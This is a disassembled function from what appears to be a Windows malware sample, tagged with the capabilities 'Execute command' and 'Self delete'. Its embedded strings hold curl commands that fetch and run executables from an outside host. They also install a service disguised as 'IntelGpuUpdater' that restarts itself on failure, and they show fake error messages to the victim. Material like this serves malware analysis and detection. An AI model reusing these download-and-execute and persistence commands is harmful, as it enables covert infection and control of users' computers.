Function at 0x4025a0
Capabilities:
Execute command
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404ad1
mov eax, dword fs:[0]
push eax
sub esp, 0x25c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x40260a
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Unable_to_load_the_program._Please_try_running_it_via_the_command_prompt.
call fcn.00402bc0
push 0x402de0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, 1
jmp 0x4028b3
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
xorps xmm0, xmm0
mov dword [ebp - 0x250], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x24c], 0
movups xmmword [ebp - 0x260], xmm0
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402640
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x260]
call fcn.00402e10
mov byte [ebp - 0x268], 0
lea edx, [ebp - 0x260]
push dword [ebp - 0x268]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], 0
call fcn.004035d0
add esp, 4
lea ecx, [ebp - 0x230]
mov byte [ebp - 4], 1
call fcn.004021b0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ebp - 0x261], al
cmp ecx, 7
jbe 0x4026eb
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4026db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4026db
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403a2f
mov al, byte [ebp - 0x261]
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Downloading_Files...
test al, al
jne 0x4026ff
mov edx, str.Unable_to_load_the_program._Please_try_running_it_via_the_command_prompt.
call fcn.00402bc0
push 0x402de0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x8d
xorps xmm0, xmm0
mov dword [ebp - 0x220], 0
push str.curl_https:__dontuseme.ct8.pl_test.exe____localappdata__test.exe__start__localappdata__test.exe__timeout_5__del__localappdata__test.exe
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x21c], 0
movups xmmword [ebp - 0x230], xmm0
call fcn.00403030
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
xorps xmm0, xmm0
push 0x46
movups xmmword [ecx], xmm0
push str.cmd__c_sc_delete_IntelGpuUpdater__cmd__c_sc_stop_IntelGpuUpdater_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00403030
call fcn.00402320
add esp, 0x18
mov dword [ebp - 0x238], 0
xorps xmm0, xmm0
mov dword [ebp - 0x234], 0
lea ecx, [ebp - 0x248]
movups xmmword [ebp - 0x248], xmm0
push 0x1ca
push str.del_C:WindowsIntelGpuUpdater.exe__del_C:WindowsIntelGpuUpdaterHelper.exe__curl_https:__dontuseme.ct8.pl_test.exe___C:WindowsIntelGpuUpdater.exe__curl_https:__dontuseme.ct8.pl_nssm.exe___C:WindowsIntelGpuUpdaterHelper.exe__C:WindowsIntelGpuUpdaterHelper.exe_install_IntelGpuUpdater_C:WindowsIntelGpuUpdater.exe__cmd__c_sc_start_IntelGpuUpdater__cmd__c_sc_failure_IntelGpuUpdater_reset_0_actions_restart_5000_restart_5000_restart_5000
call fcn.00403030
sub esp, 0x18
mov byte [ebp - 4], 3
lea eax, [ebp - 0x230]
mov ecx, esp
push eax
call fcn.00402960
call fcn.00402320
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.00402960
call fcn.00402320
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 0x18
mov edx, str.Unable_to_reach_the_server._Please_restart_your_router_or_your_PC_to_make_sure_its_connected_to_the_internet.
call fcn.00402bc0
push 0x402de0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x234]
add esp, 4
cmp ecx, 0xf
jbe 0x402839
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40282f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4028a1
push ecx
push edx
call fcn.00403a2f
add esp, 8
mov ecx, dword [ebp - 0x21c]
cmp ecx, 0xf
jbe 0x40286f
mov edx, dword [ebp - 0x230]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402865
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4028a1
push ecx
push edx
call fcn.00403a2f
add esp, 8
mov ecx, dword [ebp - 0x24c]
cmp ecx, 7
jbe 0x4028b1
mov edx, dword [ebp - 0x260]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4028a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4028a7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403a2f
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004039ec
mov esp, ebp
pop ebp
ret